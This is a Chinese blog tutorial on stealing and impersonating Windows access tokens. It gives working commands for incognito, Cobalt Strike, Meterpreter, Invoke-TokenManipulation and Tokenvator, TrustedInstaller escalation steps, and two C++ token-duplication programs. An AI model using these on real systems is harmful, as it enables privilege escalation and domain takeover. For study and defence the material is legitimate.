zoukankan      html  css  js  c++  java
  • Windows访问令牌模拟窃取以及利用(T1134)

    Token简介

     
    Windows下有两种类型的Token
     

    Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
    Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹
    

     
    两种token只在系统重启后清除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效
     

    使用incognito

     
    使用 incognito.exe list_tokens -u 可以查看到用户的token(管理员权限)
     

     
    刚才 saber 用户是我刚才注销的用户,但是因为未关机所以token保留了下来
     
    利用查询到的 token 执行命令
     

    incognito.exe execute -c "MIKASA8A63mikasa" calc.exe
    

    CobaltStrike中使用

     
    在未提权的情况下,当前用户肯定是只能看到当前用户自己和比自己权限低的所有访问令牌(所以窃取令牌的前提就是提权)
     

     
    提升至管理员后
     

     
    一般在内网中我们目标token是域管理员进程的,但是这里没域环境,我先拿 mikasa 这个用户测试
     
    此时我已经提权为 System
     

    steal_token 17084  //窃取 mikasa用户权限的进程的 token(steal_token pid)
    
    
    [*] Tasked beacon to steal token from PID 17084
    [+] host called home, sent: 12 bytes
    [+] Impersonated MIKASA8A63mikasa
    
    beacon> getuid
    [*] Tasked beacon to get userid
    [+] host called home, sent: 8 bytes
    [*] You are MIKASA8A63mikasa
    
    
    //此时已经窃取成功
    
    //使用 rev2self 命令撤回令牌
    
    beacon> rev2self
    [*] Tasked beacon to revert token
    [+] host called home, sent: 8 bytes
    

     
    假设这个 mikasa 是域管理员用户的话,那我们就可以直接访问域控了
     

    使用meterpreter

     
    与CS大致是一样的
     

    load incognito //载入 incognito
    list_tokens -u
    getuid  //查看当前 token
    impersonate_token "NT AUTHORITY\SYSTEM" //token窃取
    steal_token pid //从进程中窃取
    rev2self or drop_token //返回之前的token
    

    使用 Invoke-TokenManipulation.ps1

    Import-Module .Invoke-TokenManipulation.ps1 //导入
    Invoke-TokenManipulation -Enumerrate //枚举Token
    
    Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem" //以System启动 cmd.exe
    
    Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 //复制进程Token
    
    Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 //复制线程token
    

     

     

    如何获取TrustedInstaller权限(可修改系统文件的权限)

     
    其实大部分还是窃取 token
     
    首先启动 TrustedInstaller 服务,然后获取token就行了
     
    cs中的操作(管理员权限)
     

    shell sc.exe start TrustedInstaller //启动服务,可看到启动的进程pid
    若是服务已经启动使用
    shell powershell.exe Get-Process -name TrustedInstaller*  //也可查询进程id
    
    如何判断获得TrustedInstaller
    1.向特殊文件写文件
    shell echo 1 > C:windowsservicing1.txt
    shell type C:windowsservicing1.txt
    2.shell whoami /groups | findstr TrustedInstaller
    

     
    使用 Tokenvator.exe
     
    首先在本地打开一个管理员的cmd 用于先获取 System 权限
     

     
    我通过 pid 3740的这个进程获得一个 System的cmd
     

    .Tokenvator4.5.exe Steal_Token 3740 "cmd.exe"
    

     

    sc.exe start TrustedInstaller //启动服务获得进程 pid 
    .Tokenvator4.5.exe Steal_Token pid "cmd.exe" //根据刚获得的进程pid获得TrustedInstaller权限
    

     

     

    令牌模拟的流程

     
    参考冷逸师傅
     
    https://lengjibo.github.io/token/
     

    OpenProcess() -> OpenProcessToken() -> DuplicateTokenEx() -> CreateProcessWithTokenW()
    
    #include <iostream>
    #include<stdio.h>
    #include<Windows.h>
    #include<stdlib.h>
    int main(int argc, char * argv[])
    {
        if (argc < 2) {
            printf("Usage:  xxx.exe pid");
            exit(0);
        }
        wchar_t cmdline[] = TEXT("C:\Windows\System32\nslookup.exe");
        HANDLE Process_handle;
        HANDLE Token_handle;
        HANDLE Duplicate_handle;
        STARTUPINFO startupINfo;
        PROCESS_INFORMATION process_informatiOn;
        ZeroMemory(&startupINfo,sizeof(STARTUPINFO));
        ZeroMemory(&process_informatiOn,sizeof(PROCESS_INFORMATION));
        startupINfo.cb = sizeof(STARTUPINFO);
        DWORD ProcessID = atoi(argv[1]);
        Process_handle = OpenProcess(PROCESS_ALL_ACCESS,true,ProcessID);//打开进程获取句柄
        if (Process_handle != NULL) {
            printf("Open Process Sucess
    ");
        }
        else {
            printf("Open Process Faild
    "); 
            exit(0);
        }
        if (OpenProcessToken(Process_handle, TOKEN_ALL_ACCESS, &Token_handle)) {
            printf("Get Process Token Handle Sucess
    ");
        }
        else {
            printf("Get Process Token Handle Faild
    "); 
            exit(0);
        }
        if (DuplicateTokenEx(Token_handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &Duplicate_handle)) {
            printf("Duplocate Token Handle success
    ");
        }
        else
        {
            printf("Duplocate Token Handle Faild
    ");
            exit(0);
        }
        if (CreateProcessWithTokenW(Duplicate_handle, LOGON_WITH_PROFILE, NULL, cmdline, 0, NULL, NULL, &startupINfo, &process_informatiOn)) {
            printf("CreateProcess Token Handle success
    ");
        }
        else
        {
            printf("CreateProcess Token Handle faild
    ");
            exit(0);
        }
    
        return 0;
    }
    

     
    测试一下,这里面我根据进程的PID 拿到 对应的Token,然后根据这个Token启动一个 nslookup.exe
     

     

     
    起一个CMD试一试
     

     
    上面的我测试了一下,不能够获得 System 的shell,因此这里面我贴上lengyi师傅的代码
     

    #include <windows.h>
    #include <iostream>
    #include <Lmcons.h>
    
    BOOL SetPrivilege(
        HANDLE hToken,         
        LPCTSTR lpszPrivilege, 
        BOOL bEnablePrivilege  
    )
    {
        TOKEN_PRIVILEGES tp;
        LUID luid;
    
        if (!LookupPrivilegeValue(
            NULL,          
            lpszPrivilege,   
            &luid))       
        {
            printf("[-] LookupPrivilegeValue error: %u
    ", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
    
    
        if (!AdjustTokenPrivileges(
            hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            printf("[-] AdjustTokenPrivileges error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    
        {
            printf("[-] The token does not have the specified privilege. 
    ");
            return FALSE;
        }
    
        return TRUE;
    }
    
    std::string get_username()
    {
        TCHAR username[UNLEN + 1];
        DWORD username_len = UNLEN + 1;
        GetUserName(username, &username_len);
        std::wstring username_w(username);
        std::string username_s(username_w.begin(), username_w.end());
        return username_s;
    }
    
    int main(int argc, char** argv) {
        
        if (argc <= 1) {
            printf("USAGE: TokenSteal.exe Process PID");
            return -1;
        }
        printf("Primary Access Token Manipulation by lengyi 
    
    ");
        printf("[+] Current user is: %s
    ", (get_username()).c_str());
    
        
        char* pid_c = argv[1];
        DWORD PID_TO_IMPERSONATE = atoi(pid_c);
    
        
        HANDLE tokenHandle = NULL;
        HANDLE duplicateTokenHandle = NULL;
        STARTUPINFO startupInfo;
        PROCESS_INFORMATION processInformation;
        ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
        ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
        startupInfo.cb = sizeof(STARTUPINFO);
    
        
        HANDLE currentTokenHandle = NULL;
        BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
        if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
        {
            printf("[+] SeDebugPrivilege enabled!
    ");
        }
    
        
        HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
        if (GetLastError() == NULL)
            printf("[+] OpenProcess() success!
    ");
        else
        {
            HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
            if (GetLastError() == NULL) {
                printf("[+] OpenProcess() success!
    ");
            }
            else
            {
                printf("[-] OpenProcess() Return Code: %i
    ", processHandle);
                printf("[-] OpenProcess() Error: %i
    ", GetLastError());
            }
        }
    
    
        BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
        if (GetLastError() == NULL)
            printf("[+] OpenProcessToken() success!
    ");
        else
        {
            printf("[-] OpenProcessToken() Return Code: %i
    ", getToken);
            printf("[-] OpenProcessToken() Error: %i
    ", GetLastError());
        }
    
    
        BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
        if (GetLastError() == NULL)
        {
            printf("[+] ImpersonatedLoggedOnUser() success!
    ");
            printf("[+] Current user is: %s
    ", (get_username()).c_str());
            printf("[+] Reverting thread to original user context
    ");
            RevertToSelf();
        }
        else
        {
            printf("[-] ImpersonatedLoggedOnUser() Return Code: %i
    ", getToken);
            printf("[-] ImpersonatedLoggedOnUser() Error: %i
    ", GetLastError());
        }
    
        BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
        if (GetLastError() == NULL)
            printf("[+] DuplicateTokenEx() success!
    ");
        else
        {
            printf("[-] DuplicateTokenEx() Return Code: %i
    ", duplicateToken);
            printf("[-] DupicateTokenEx() Error: %i
    ", GetLastError());
        }
    
        
        BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\Windows\System32\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
        if (GetLastError() == NULL)
            printf("[+] Process spawned!
    ");
        else
        {
            printf("[-] CreateProcessWithTokenW Return Code: %i
    ", createProcess);
            printf("[-] CreateProcessWithTokenW Error: %i
    ", GetLastError());
        }
    
        return 0;
    }
    

     
    仔细对照了一下发现可能是 未 对当前进程做权限提升(搞不懂0.0)
     

    参考

     
    https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/

    https://lengjibo.github.io/token/

    http://t3ngyu.leanote.com/post/Windows-Access

  • 相关阅读:
    APP性能测试-客户端性能测试
    postman——预处理和断言
    postman——token传参
    postman——环境变量
    postman——请求与相应
    postman——下载与安装
    HP LoadRunner 11.00安装+破解+汉化
    Fiddler使用 抓取手机数据包及中文乱码解决方案
    性能测试常见面试题(Loadrunner)
    python3 selenium3 POM设计模式 【比较全的使用邮件自动发送测试报告】
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/Windows-fang-wen-ling-pai-mo-ni-qie-qu-yi-ji-li-yo.html
Copyright © 2011-2022 走看看